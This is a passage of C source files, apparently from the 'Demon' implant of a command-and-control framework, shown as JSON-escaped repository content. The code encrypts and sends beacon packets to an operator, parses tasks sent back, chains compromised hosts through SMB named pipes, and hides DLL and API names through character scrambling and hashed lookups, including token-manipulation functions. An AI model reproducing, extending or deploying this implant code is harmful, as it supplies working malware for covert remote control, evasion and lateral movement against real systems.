FALSE;\n    Package->Next      = NULL;\n\n    return Package;\n}\n\nPPACKAGE PackageCreateWithMetaData( UINT32 CommandID )\n{\n    PPACKAGE Package = PackageCreate( CommandID );\n\n    PackageAddInt32( Package, 0 ); // package length\n    PackageAddInt32( Package, DEMON_MAGIC_VALUE );\n    PackageAddInt32( Package, Instance->Session.AgentID );\n    PackageAddInt32( Package, Package->CommandID );\n    PackageAddInt32( Package, Package->RequestID );\n\n    return Package;\n}\n\nPPACKAGE PackageCreateWithRequestID( UINT32 CommandID, UINT32 RequestID )\n{\n    PPACKAGE Package = PackageCreate( CommandID );\n\n    Package->RequestID = RequestID;\n\n    return Package;\n}\n\nVOID PackageDestroy(\n    IN PPACKAGE Package\n) {\n    PPACKAGE Pkg = Instance->Packages;\n\n    if ( Package )\n    {\n        // make sure the package is not on the Instance->Packages list, avoid UAF\n        while ( Pkg )\n        {\n            if ( Package == Pkg )\n            {\n                PUTS_DONT_SEND( \"Package can't be destroyed, is on Instance->Packages list\" )\n                return;\n            }\n\n            Pkg = Pkg->Next;\n        }\n\n        if ( Package->Buffer )\n        {\n            MemSet( Package->Buffer, 0, Package->Length );\n            Instance->Win32.LocalFree( Package->Buffer );\n            Package->Buffer = NULL;\n        }\n\n        MemSet( Package, 0, sizeof( PACKAGE ) );\n        Instance->Win32.LocalFree( Package );\n        Package = NULL;\n    }\n}\n\n// used to send the demon's metadata\nBOOL PackageTransmitNow(\n    _Inout_ PPACKAGE Package,\n    OUT    PVOID*   Response,\n    OUT    PSIZE_T  Size\n) {\n    AESCTX AesCtx  = { 0 };\n    BOOL   Success = FALSE;\n    UINT32 Padding = 0;\n\n    if ( Package )\n    {\n        if ( ! Package->Buffer ) {\n            PUTS_DONT_SEND( \"Package->Buffer is empty\" )\n            return FALSE;\n        }\n\n        // writes package length to buffer\n        Int32ToBuffer( Package->Buffer, Package->Length - sizeof( UINT32 ) );\n\n        if ( Package->Encrypt )\n        {\n            Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 );\n\n            /* only add these on init or key exchange */\n            if ( Package->CommandID == DEMON_INITIALIZE ) {\n                Padding += 32 + 16;\n            }\n\n            AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );\n            AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );\n        }\n\n        if ( TransportSend( Package->Buffer, Package->Length, Response, Size ) ) {\n            Success = TRUE;\n        } else {\n            PUTS_DONT_SEND(\"TransportSend failed!\")\n        }\n\n        if ( Package->Destroy ) {\n            PackageDestroy( Package ); Package = NULL;\n        } else if ( Package->Encrypt ) {\n            AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );\n        }\n    } else {\n        PUTS_DONT_SEND( \"Package is empty\" )\n        Success = FALSE;\n    }\n\n    return Success;\n}\n\n// don't transmit right away, simply store the package. Will be sent when PackageTransmitAll is called\nVOID PackageTransmit(\n    IN PPACKAGE Package\n) {\n    PPACKAGE List      = NULL;\n    UINT32   RequestID = 0;\n    UINT32   Length    = 0;\n\n    if ( ! Package ) {\n        return;\n    }\n\n#if TRANSPORT_SMB\n        // if the package is larger than PIPE_BUFFER_MAX, discard it\n        // TODO: support packet fragmentation\n\n        // size + demon-magic + agent-id + command-id + request-id +\n        // command-id + request-id + buffer-size + Package->Length\n        if ( sizeof( UINT32 ) * 8 + Package->Length > PIPE_BUFFER_MAX )\n        {\n            PRINTF( \"Trying to send a package that is 0x%x bytes long, which is longer than PIPE_BUFFER_MAX, discarding...\\n\", Package->Length )\n\n            RequestID = Package->RequestID;\n            Length    = Package->Length;\n\n            // destroy the package\n            if ( Package->Destroy ) {\n                PackageDestroy( Package );\n            }\n\n            // notify the operator that a package was discarded\n            Package = PackageCreateWithRequestID( DEMON_PACKAGE_DROPPED, RequestID );\n            PackageAddInt32( Package, Length );\n            PackageAddInt32( Package, PIPE_BUFFER_MAX );\n        }\n#endif\n\n    if ( ! Instance->Packages )\n    {\n        Instance->Packages = Package;\n    }\n    else\n    {\n        // add the new package to the end of the list (to preserve the order)\n        List = Instance->Packages;\n        while ( List->Next ) {\n            List = List->Next;\n        }\n        List->Next = Package;\n    }\n}\n\n// transmit all stored packages in a single request\nBOOL PackageTransmitAll(\n    OUT    PVOID*   Response,\n    OUT    PSIZE_T  Size\n) {\n    AESCTX   AesCtx  = { 0 };\n    BOOL     Success = FALSE;\n    UINT32   Padding = 0;\n    PPACKAGE Package = NULL;\n    PPACKAGE Pkg     = Instance->Packages;\n    PPACKAGE Entry   = NULL;\n    PPACKAGE Prev    = NULL;\n\n#if TRANSPORT_SMB\n    // SMB pivots don't need to send DEMON_COMMAND_GET_JOB\n    // so if we don't having nothing to send, simply exit\n    if ( ! Instance->Packages )\n        return TRUE;\n#endif\n\n    Package = PackageCreateWithMetaData( DEMON_COMMAND_GET_JOB );\n\n    // add all the packages we want to send to the main package\n    while ( Pkg )\n    {\n#if TRANSPORT_SMB\n        // SMB pivots can't send packages greater than PIPE_BUFFER_MAX\n        if ( Package->Length + sizeof( UINT32 ) * 3 + Pkg->Length > PIPE_BUFFER_MAX )\n            break;\n#endif\n\n        PackageAddInt32( Package, Pkg->CommandID );\n        PackageAddInt32( Package, Pkg->RequestID );\n        PackageAddBytes( Package, Pkg->Buffer, Pkg->Length );\n        Pkg->Included = TRUE;\n\n        // make sure we don't send a package larger than DEMON_MAX_REQUEST_LENGTH\n        if ( Package->Length > DEMON_MAX_REQUEST_LENGTH )\n            break;\n\n        Prev = Pkg;\n        Pkg  = Pkg->Next;\n    }\n\n    // writes package length to buffer\n    Int32ToBuffer( Package->Buffer, Package->Length - sizeof( UINT32 ) );\n\n    /*\n     *  Header:\n     *  [ SIZE         ] 4 bytes\n     *  [ Magic Value  ] 4 bytes\n     *  [ Agent ID     ] 4 bytes\n     *  [ COMMAND ID   ] 4 bytes\n     *  [ Request ID   ] 4 bytes\n    */\n    Padding = sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 ) + sizeof( UINT32 );\n\n    // encrypt the package\n    AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV );\n    AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );\n\n    // send it\n    if ( TransportSend( Package->Buffer, Package->Length, Response, Size ) ) {\n        Success = TRUE;\n    } else {\n        PUTS_DONT_SEND(\"TransportSend failed!\")\n    }\n\n    // decrypt the package\n    AesXCryptBuffer( &AesCtx, Package->Buffer + Padding, Package->Length - Padding );\n\n    Entry = Instance->Packages;\n    Prev  = NULL;\n\n    if ( Success )\n    {\n        // the request worked, remove all the packages that were included\n\n        while ( Entry )\n        {\n            if ( Entry->Included )\n            {\n                // is this the first entry?\n                if ( Entry == Instance->Packages )\n                {\n                    // update the start of the list\n                    Instance->Packages = Entry->Next;\n\n                    // remove the entry if required\n                    if ( Entry->Destroy ) {\n                        PackageDestroy( Entry ); Entry = NULL;\n                    }\n\n                    Entry = Instance->Packages;\n                    Prev  = NULL;\n                }\n                else\n                {\n                    if ( Prev )\n                    {\n                        // remove the entry from the list\n                        Prev->Next = Entry->Next;\n\n                        // remove the entry if required\n                        if ( Entry->Destroy ) {\n                            PackageDestroy( Entry ); Entry = NULL;\n                        }\n\n                        Entry = Prev->Next;\n                    }\n                    else\n                    {\n                        // wut? this shouldn't happen\n                        PUTS_DONT_SEND( \"Failed to cleanup packages list\" )\n                    }\n                }\n            }\n            else\n            {\n                Prev  = Entry;\n                Entry = Entry->Next;\n            }\n        }\n    }\n    else\n    {\n        // the request failed, mark all packages as not included for next time\n        while ( Entry )\n        {\n            Entry->Included = FALSE;\n            Entry           = Entry->Next;\n        }\n    }\n\n    PackageDestroy( Package ); Package = NULL;\n\n    return Success;\n}\n\nVOID PackageTransmitError(\n    IN UINT32 ID,\n    IN UINT32 ErrorCode\n) {\n    PPACKAGE Package = NULL;\n\n    PRINTF_DONT_SEND( \"Transmit Error: %d\\n\", ErrorCode );\n\n    Package = PackageCreate( DEMON_ERROR );\n\n    PackageAddInt32( Package, ID );\n    PackageAddInt32( Package, ErrorCode );\n    PackageTransmit( Package );\n}\n\n"
  },
  {
    "path": "payloads/Demon/src/core/Parser.c",
    "content": "#include <Demon.h>\n\n#include <core/Parser.h>\n#include <core/MiniStd.h>\n#include <crypt/AesCrypt.h>\n\nVOID ParserNew( PPARSER parser, PBYTE Buffer, UINT32 size )\n{\n    if ( parser == NULL )\n        return;\n\n    parser->Original = Instance->Win32.LocalAlloc( LPTR, size );\n    \n    MemCopy( parser->Original, Buffer, size );\n\n    parser->Buffer   = parser->Original;\n    parser->Length   = size;\n    parser->Size     = size;\n}\n\nVOID ParserDecrypt( PPARSER parser, PBYTE Key, PBYTE IV )\n{\n    AESCTX AesCtx = { 0 };\n\n    if ( parser == NULL )\n        return;\n\n    AesInit( &AesCtx, Key, IV );\n    AesXCryptBuffer( &AesCtx, (PUINT8)parser->Buffer, parser->Length );\n}\n\n\nINT16 ParserGetInt16( PPARSER parser )\n{\n    INT16 intBytes = 0;\n\n    if ( parser->Length < 2 )\n        return 0;\n\n    MemCopy( &intBytes, parser->Buffer, 2 );\n\n    parser->Buffer += 2;\n    parser->Length -= 2;\n\n    return intBytes;\n}\n\nBYTE ParserGetByte( PPARSER parser )\n{\n    BYTE intBytes = 0;\n\n    if ( parser->Length < 1 )\n        return 0;\n\n    MemCopy( &intBytes, parser->Buffer, 1 );\n\n    parser->Buffer += 1;\n    parser->Length -= 1;\n\n    return intBytes;\n}\n\n\nINT ParserGetInt32( PPARSER parser )\n{\n    INT32 intBytes = 0;\n\n    if ( ! parser )\n        return 0;\n\n    if ( parser->Length < 4 )\n        return 0;\n\n    MemCopy( &intBytes, parser->Buffer, 4 );\n\n    parser->Buffer += 4;\n    parser->Length -= 4;\n\n    if ( ! parser->Endian )\n        return ( INT ) intBytes;\n    else\n        return ( INT ) __builtin_bswap32( intBytes );\n}\n\nINT64 ParserGetInt64( PPARSER parser )\n{\n    INT64 intBytes = 0;\n\n    if ( ! parser )\n        return 0;\n\n    if ( parser->Length < 8 )\n        return 0;\n\n    MemCopy( &intBytes, parser->Buffer, 8 );\n\n    parser->Buffer += 8;\n    parser->Length -= 8;\n\n    if ( ! parser->Endian )\n        return ( INT64 ) intBytes;\n    else\n        return ( INT64 ) __builtin_bswap64( intBytes );\n}\n\nBOOL ParserGetBool( PPARSER parser )\n{\n    INT32 intBytes = 0;\n\n    if ( ! parser )\n        return 0;\n\n    if ( parser->Length < 4 )\n        return 0;\n\n    MemCopy( &intBytes, parser->Buffer, 4 );\n\n    parser->Buffer += 4;\n    parser->Length -= 4;\n\n    if ( ! parser->Endian )\n        return intBytes != 0;\n    else\n        return __builtin_bswap32( intBytes ) != 0;\n}\n\nPBYTE ParserGetBytes( PPARSER parser, PUINT32 size )\n{\n    UINT32 Length  = 0;\n    PBYTE  outdata = NULL;\n\n    if ( ! parser )\n        return NULL;\n\n    if ( parser->Length < 4 )\n        return NULL;\n\n    MemCopy( &Length, parser->Buffer, 4 );\n    parser->Buffer += 4;\n\n    if ( parser->Endian )\n        Length = __builtin_bswap32( Length );\n\n    outdata = ( PBYTE ) parser->Buffer;\n    if ( outdata == NULL )\n        return NULL;\n\n    parser->Length -= 4;\n    parser->Length -= Length;\n    parser->Buffer += Length;\n\n    if ( size != NULL )\n        *size = Length;\n\n    return outdata;\n}\n\nPCHAR  ParserGetString( PPARSER parser, PUINT32 size )\n{\n    return ( PCHAR ) ParserGetBytes( parser, size );\n}\n\nPWCHAR  ParserGetWString( PPARSER parser, PUINT32 size )\n{\n    return ( PWCHAR ) ParserGetBytes( parser, size );\n}\n\nVOID ParserDestroy( PPARSER Parser )\n{\n    if ( Parser->Original )\n    {\n        MemSet( Parser->Original, 0, Parser->Size );\n        Instance->Win32.LocalFree( Parser->Original );\n        Parser->Original = NULL;\n        Parser->Buffer   = NULL;\n    }\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Pivot.c",
    "content": "#include <Demon.h>\n\n#include <common/Macros.h>\n\n#include <core/Parser.h>\n#include <core/MiniStd.h>\n#include <core/Command.h>\n#include <core/Package.h>\n\n/* TODO: Change the way new pivots gets added.\n *\n * Instead of appending it to the newest token like:\n * PivotNew->Next = Pivot\n *\n * Add it to the first token (parent):\n *\n * Pivot->Next         = Instance->SmbPivots;\n * Instance->SmbPivots = Pivot;\n *\n * Might reduce some code which i care more than\n * pivot order.\n */\n\nBOOL PivotAdd( BUFFER NamedPipe, PVOID* Output, PDWORD BytesSize )\n{\n    PPIVOT_DATA Data    = NULL;\n    HANDLE      Handle  = NULL;\n\n    PRINTF( \"Connecting to named pipe: %ls\\n\", NamedPipe.Buffer );\n\n    Handle = Instance->Win32.CreateFileW( NamedPipe.Buffer, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );\n\n    if ( Handle == INVALID_HANDLE_VALUE )\n    {\n        PRINTF( \"CreateFileW: Failed[%d]\\n\", NtGetLastError() );\n        return FALSE;\n    }\n\n    if ( NtGetLastError() == ERROR_PIPE_BUSY )\n    {\n        if ( ! Instance->Win32.WaitNamedPipeW( NamedPipe.Buffer, 5000 ) )\n        {\n            return FALSE;\n        }\n    }\n\n    do\n    {\n        // TODO: first get the size then parse\n        if ( Instance->Win32.PeekNamedPipe( Handle, NULL, 0, NULL, BytesSize, NULL ) )\n        {\n            if ( *BytesSize > 0 )\n            {\n                PRINTF( \"BytesSize => %d\\n\", *BytesSize );\n\n                *Output = Instance->Win32.LocalAlloc( LPTR, *BytesSize );\n                MemSet( *Output, 0, *BytesSize );\n\n                if ( Instance->Win32.ReadFile( Handle, *Output, *BytesSize, BytesSize, NULL ) )\n                {\n                    PRINTF( \"BytesSize Read => %d\\n\", *BytesSize );\n                    break;\n                }\n                else\n                {\n                    PRINTF( \"ReadFile: Failed[%d]\\n\", NtGetLastError() );\n                    SysNtClose( Handle );\n                    return FALSE;\n                }\n            }\n        }\n        else\n        {\n            PRINTF( \"PeekNamedPipe: Failed[%d]\\n\", NtGetLastError() );\n            SysNtClose( Handle );\n            return FALSE;\n        }\n    } while ( TRUE );\n\n    // Adding data to the list\n    {\n        PRINTF( \"Pivot :: Output[%p] Size[%d]\\n\", *Output, *BytesSize )\n\n        Data                  = Instance->Win32.LocalAlloc( LPTR, sizeof( PIVOT_DATA ) );\n        Data->Handle          = Handle;\n        Data->Next            = NULL;\n        Data->DemonID         = PivotParseDemonID( *Output, *BytesSize );\n        Data->PipeName.Buffer = Instance->Win32.LocalAlloc( LPTR, NamedPipe.Length );\n        Data->PipeName.Length = NamedPipe.Length;\n        MemCopy( Data->PipeName.Buffer, NamedPipe.Buffer, NamedPipe.Length );\n\n        if ( ! Instance->SmbPivots )\n        {\n            Instance->SmbPivots = Data;\n        }\n        else\n        {\n            PPIVOT_DATA PivotList = Instance->SmbPivots;\n\n            do\n            {\n                if ( PivotList )\n                {\n                    if ( PivotList->Next )\n                        PivotList = PivotList->Next;\n\n                    else\n                    {\n                        PivotList->Next = Data;\n                        break;\n                    }\n                }\n                else break;\n            } while ( TRUE );\n        }\n    }\n\n    return TRUE;\n}\n\nPPIVOT_DATA PivotGet( DWORD AgentID )\n{\n    PPIVOT_DATA TempList = Instance->SmbPivots;\n\n    do {\n        if ( TempList )\n        {\n            if ( TempList->DemonID == AgentID )\n                return TempList;\n\n            TempList = TempList->Next;\n        } else\n            break;\n    } while ( TRUE );\n\n    return NULL;\n}\n\nBOOL PivotRemove( DWORD AgentId )\n{\n    PRINTF( \"Remove pivot %x\\n\", AgentId )\n\n    PPIVOT_DATA TempList  = Instance->SmbPivots;\n    PPIVOT_DATA PivotData = PivotGet( AgentId );\n    BOOL        Success   = FALSE;\n\n    if ( ( ! TempList ) || ( ! PivotData ) )\n        return FALSE;\n\n    if ( Instance->SmbPivots->DemonID == AgentId )\n    {\n        PPIVOT_DATA TempNext = Instance->SmbPivots->Next;\n\n        if ( Instance->SmbPivots->PipeName.Buffer )\n        {\n            MemSet( Instance->SmbPivots->PipeName.Buffer, 0, Instance->SmbPivots->PipeName.Length );\n            Instance->Win32.LocalFree( Instance->SmbPivots->PipeName.Buffer );\n        }\n\n        if ( Instance->SmbPivots->Handle )\n        {\n            Instance->Win32.DisconnectNamedPipe( Instance->SmbPivots->Handle );\n            SysNtClose( Instance->SmbPivots->Handle );\n        }\n\n        Instance->SmbPivots->PipeName.Buffer = NULL;\n        Instance->SmbPivots->PipeName.Length = 0;\n        Instance->SmbPivots->Handle          = NULL;\n        Instance->SmbPivots->DemonID         = 0;\n\n        MemSet( Instance->SmbPivots, 0, sizeof( PIVOT_DATA ) );\n        Instance->Win32.LocalFree( Instance->SmbPivots );\n\n        Instance->SmbPivots = TempNext;\n\n        return TRUE;\n    }\n\n    do {\n        if ( TempList )\n        {\n            if ( TempList->Next == PivotData )\n            {\n                TempList->Next = PivotData->Next;\n\n                if ( PivotData->PipeName.Buffer )\n                {\n                    MemSet( PivotData->PipeName.Buffer, 0, PivotData->PipeName.Length );\n                    Instance->Win32.LocalFree( PivotData->PipeName.Buffer );\n                }\n\n                if ( PivotData->Handle )\n                {\n                    Instance->Win32.DisconnectNamedPipe( PivotData->Handle );\n                    SysNtClose( PivotData->Handle );\n                }\n\n                PivotData->PipeName.Buffer = NULL;\n                PivotData->PipeName.Length = 0;\n                PivotData->Handle          = NULL;\n                PivotData->DemonID         = 0;\n\n                MemSet( PivotData, 0, sizeof( PIVOT_DATA ) );\n                Instance->Win32.LocalFree( PivotData );\n                PivotData = NULL;\n\n                return TRUE;\n            }\n            else\n                TempList = TempList->Next;\n        } else\n            break;\n    } while ( TRUE );\n\n    return Success;\n}\n\nDWORD PivotCount()\n{\n    PPIVOT_DATA TempList = Instance->SmbPivots;\n    DWORD       Counter  = 0;\n\n    do {\n        if ( TempList )\n        {\n            Counter++;\n            TempList = TempList->Next;\n        } else\n            break;\n    } while ( TRUE );\n\n    return Counter;\n}\n\nVOID PivotPush()\n{\n    PPACKAGE    Package   = NULL;\n    PPIVOT_DATA TempList  = Instance->SmbPivots;\n    DWORD       BytesSize = 0;\n    DWORD       Length    = 0;\n    PVOID       Output    = NULL;\n    ULONG32     NumLoops  = 0;\n\n    /*\n     * For each pivot, we loop up to MAX_SMB_PACKETS_PER_LOOP times\n     * this is to avoid potentially blocking the parent agent\n     */\n\n    do\n    {\n        if ( ! TempList )\n            break;\n\n        if ( TempList->Handle )\n        {\n            NumLoops = 0;\n            do {\n\n                if ( Instance->Win32.PeekNamedPipe( TempList->Handle, NULL, 0, NULL, &BytesSize, NULL ) )\n                {\n                    if ( BytesSize >= sizeof( UINT32 ) )\n                    {\n                        if ( Instance->Win32.PeekNamedPipe( TempList->Handle, &Length, sizeof( UINT32 ), NULL, &BytesSize, NULL ) )\n                        {\n                            Length = __builtin_bswap32( Length ) + sizeof( UINT32 );\n                            Output = Instance->Win32.LocalAlloc( LPTR, Length );\n\n                            if ( Instance->Win32.ReadFile( TempList->Handle, Output, Length, &BytesSize, NULL ) )\n                            {\n                                Package = PackageCreate( DEMON_COMMAND_PIVOT );\n                                PackageAddInt32( Package, DEMON_PIVOT_SMB_COMMAND );\n                                PackageAddBytes( Package, Output, BytesSize );\n\n                                PackageTransmit( Package );\n\n                                DATA_FREE( Output, Length );\n                            }\n                            else\n                            {\n                                PRINTF( \"ReadFile: Failed[%d]\\n\", NtGetLastError() );\n                                DATA_FREE( Output, Length );\n                                break;\n                            }\n                        }\n                        else\n                        {\n                            PRINTF( \"PeekNamedPipe: Failed[%d]\\n\", NtGetLastError() );\n                            break;\n                        }\n                    } else break;\n                }\n                else\n                {\n                    PRINTF( \"PeekNamedPipe: Failed[%d]\\n\", NtGetLastError() );\n\n                    if ( NtGetLastError() == ERROR_BROKEN_PIPE )\n                    {\n                        PUTS( \"ERROR_BROKEN_PIPE. Remove pivot\" )\n\n                        DWORD DemonID = TempList->DemonID;\n                        TempList      = TempList->Next;\n                        BOOL  Removed = PivotRemove( DemonID );\n\n                        PRINTF( \"Pivot removed: %s\\n\", Removed ? \"TRUE\" : \"FALSE\" )\n\n                        /* Report if we managed to remove the selected pivot */\n                        Package = PackageCreate( DEMON_COMMAND_PIVOT );\n                        PackageAddInt32( Package, DEMON_PIVOT_SMB_DISCONNECT );\n                        PackageAddInt32( Package, Removed );\n                        PackageAddInt32( Package, DemonID );\n                        PackageTransmit( Package );\n\n                        break;\n                    }\n\n                    PACKAGE_ERROR_WIN32\n                    break;\n                }\n\n                NumLoops++;\n            } while ( NumLoops < MAX_SMB_PACKETS_PER_LOOP );\n        }\n\n        // select the next pivot\n        if ( TempList )\n            TempList = TempList->Next;\n\n    } while ( TRUE );\n}\n\nUINT32 PivotParseDemonID( PVOID Response, SIZE_T Size )\n{\n    PARSER Parser  = { 0 };\n    UINT32 Value   = 0;\n\n    ParserNew( &Parser, Response, Size );\n\n    ParserGetInt32( &Parser );\n    ParserGetInt32( &Parser );\n\n    Value = __builtin_bswap32( ParserGetInt32( &Parser ) );\n\n    PRINTF( \"Parsed DemonID => %x\\n\", Value );\n\n    ParserDestroy( &Parser );\n\n    return Value;\n}\n"
  },
  {
    "path": "payloads/Demon/src/core/Runtime.c",
    "content": "#include <Demon.h>\n#include <core/Runtime.h>\n#include <core/MiniStd.h>\n\n\nBOOL RtAdvapi32(\n    VOID\n) {\n    CHAR ModuleName[ 13 ] = { 0 };\n\n    ModuleName[ 0  ] = HideChar('A');\n    ModuleName[ 2  ] = HideChar('V');\n    ModuleName[ 11 ] = HideChar('L');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 3  ] = HideChar('A');\n    ModuleName[ 8  ] = HideChar('.');\n    ModuleName[ 12 ] = HideChar('\\0');\n    ModuleName[ 6  ] = HideChar('3');\n    ModuleName[ 7  ] = HideChar('2');\n    ModuleName[ 1  ] = HideChar('D');\n    ModuleName[ 9  ] = HideChar('D');\n    ModuleName[ 5  ] = HideChar('I');\n    ModuleName[ 4  ] = HideChar('P');\n\n    if ( ( Instance->Modules.Advapi32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.GetTokenInformation          = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETTOKENINFORMATION );\n        Instance->Win32.CreateProcessWithTokenW      = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHTOKENW );\n        Instance->Win32.CreateProcessWithLogonW      = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CREATEPROCESSWITHLOGONW );\n        Instance->Win32.RevertToSelf                 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_REVERTTOSELF );\n        Instance->Win32.GetUserNameA                 = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETUSERNAMEA );\n        Instance->Win32.LogonUserW                   = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOGONUSERW );\n        Instance->Win32.LookupPrivilegeValueA        = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGEVALUEA );\n        Instance->Win32.LookupAccountSidA            = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDA );\n        Instance->Win32.LookupAccountSidW            = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPACCOUNTSIDW );\n        Instance->Win32.OpenThreadToken              = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENTHREADTOKEN );\n        Instance->Win32.OpenProcessToken             = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_OPENPROCESSTOKEN );\n        Instance->Win32.AdjustTokenPrivileges        = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADJUSTTOKENPRIVILEGES );\n        Instance->Win32.LookupPrivilegeNameA         = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LOOKUPPRIVILEGENAMEA );\n        Instance->Win32.SystemFunction032            = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SYSTEMFUNCTION032 );\n        Instance->Win32.FreeSid                      = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_FREESID );\n        Instance->Win32.SetSecurityDescriptorSacl    = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORSACL );\n        Instance->Win32.SetSecurityDescriptorDacl    = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETSECURITYDESCRIPTORDACL );\n        Instance->Win32.InitializeSecurityDescriptor = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZESECURITYDESCRIPTOR );\n        Instance->Win32.AddMandatoryAce              = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ADDMANDATORYACE );\n        Instance->Win32.InitializeAcl                = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_INITIALIZEACL );\n        Instance->Win32.AllocateAndInitializeSid     = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_ALLOCATEANDINITIALIZESID );\n        Instance->Win32.CheckTokenMembership         = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CHECKTOKENMEMBERSHIP );\n        Instance->Win32.SetEntriesInAclW             = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETENTRIESINACLW );\n        Instance->Win32.SetThreadToken               = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_SETTHREADTOKEN );\n        Instance->Win32.LsaNtStatusToWinError        = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_LSANTSTATUSTOWINERROR );\n        Instance->Win32.EqualSid                     = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_EQUALSID );\n        Instance->Win32.ConvertSidToStringSidW       = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_CONVERTSIDTOSTRINGSIDW );\n        Instance->Win32.GetSidSubAuthorityCount      = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITYCOUNT );\n        Instance->Win32.GetSidSubAuthority           = LdrFunctionAddr( Instance->Modules.Advapi32, H_FUNC_GETSIDSUBAUTHORITY );\n\n        PUTS( \"Loaded Advapi32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Advapi32\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\n// we delay loading mscoree.dll\nBOOL RtMscoree(\n    VOID\n) {\n    CHAR ModuleName[ 12 ] = { 0 };\n\n    if ( Instance->Win32.CLRCreateInstance )\n        return TRUE;\n\n    ModuleName[ 1  ] = HideChar('S');\n    ModuleName[ 2  ] = HideChar('C');\n    ModuleName[ 11 ] = HideChar(0);\n    ModuleName[ 0  ] = HideChar('M');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 8  ] = HideChar('D');\n    ModuleName[ 7  ] = HideChar('.');\n    ModuleName[ 9  ] = HideChar('L');\n    ModuleName[ 5  ] = HideChar('E');\n    ModuleName[ 4  ] = HideChar('R');\n    ModuleName[ 6  ] = HideChar('E');\n    ModuleName[ 3  ] = HideChar('O');\n\n    if ( ( Instance->Modules.Mscoree = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.CLRCreateInstance = LdrFunctionAddr( Instance->Modules.Mscoree, H_FUNC_CLRCREATEINSTANCE );\n\n        PUTS( \"Loaded Mscoree functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load Mscoree\" )\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL RtOleaut32(\n    VOID\n) {\n    CHAR ModuleName[ 13 ] = { 0 };\n\n    ModuleName[ 3  ] = HideChar('A');\n    ModuleName[ 2  ] = HideChar('E');\n    ModuleName[ 0  ] = HideChar('O');\n    ModuleName[ 1  ] = HideChar('L');\n    ModuleName[ 5  ] = HideChar('T');\n    ModuleName[ 11 ] = HideChar('L');\n    ModuleName[ 7  ] = HideChar('2');\n    ModuleName[ 6  ] = HideChar('3');\n    ModuleName[ 10 ] = HideChar('L');\n    ModuleName[ 12 ] = HideChar(0);\n    ModuleName[ 4  ] = HideChar('U');\n    ModuleName[ 9  ] = HideChar('D');\n    ModuleName[ 8  ] = HideChar('.');\n\n    if ( ( Instance->Modules.Oleaut32 = LdrModuleLoad( ModuleName ) ) ) {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        Instance->Win32.SafeArrayAccessData   = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYACCESSDATA );\n        Instance->Win32.SafeArrayUnaccessData = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYUNACCESSDATA );\n        Instance->Win32.SafeArrayCreate       = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATE );\n        Instance->Win32.SafeArrayPutElement   = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYPUTELEMENT );\n        Instance->Win32.SafeArrayCreateVector = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYCREATEVECTOR );\n        Instance->Win32.SafeArrayDestroy      = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SAFEARRAYDESTROY );\n        Instance->Win32.SysAllocString        = LdrFunctionAddr( Instance->Modules.Oleaut32, H_FUNC_SYSALLOCSTRING );\n\n        PUTS( \"Loaded Oleaut32 functions\" )\n    } else {\n        MemZero( ModuleName, sizeof( ModuleName ) );\n        PUTS( \"Failed to load 